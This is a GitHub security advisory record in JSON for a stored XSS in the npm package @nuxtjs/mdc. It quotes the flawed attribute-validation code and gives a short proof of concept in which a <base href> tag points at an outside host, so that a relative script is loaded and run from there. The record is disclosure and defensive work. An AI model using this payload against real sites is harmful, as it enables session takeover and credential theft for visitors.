{"id":"GHSA-cj6r-rrr9-fg82","summary":"Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering","details":"### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element.  \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.","aliases":["CVE-2025-54075"],"modified":"2026-09-10T03:50:57.907996530Z","published":"2025-07-20T16:36:14Z","database_specific":{"github_reviewed_at":"2025-07-20T16:36:14Z","nvd_published_at":"2025-07-18T16:15:30Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54075"},{"type":"WEB","url":"https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"},{"type":"PACKAGE","url":"https://github.com/nuxt-modules/mdc"}],"affected":[{"package":{"name":"@nuxtjs/mdc","ecosystem":"npm","purl":"pkg:npm/%40nuxtjs/mdc"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.17.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-cj6r-rrr9-fg82/GHSA-cj6r-rrr9-fg82.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"}]}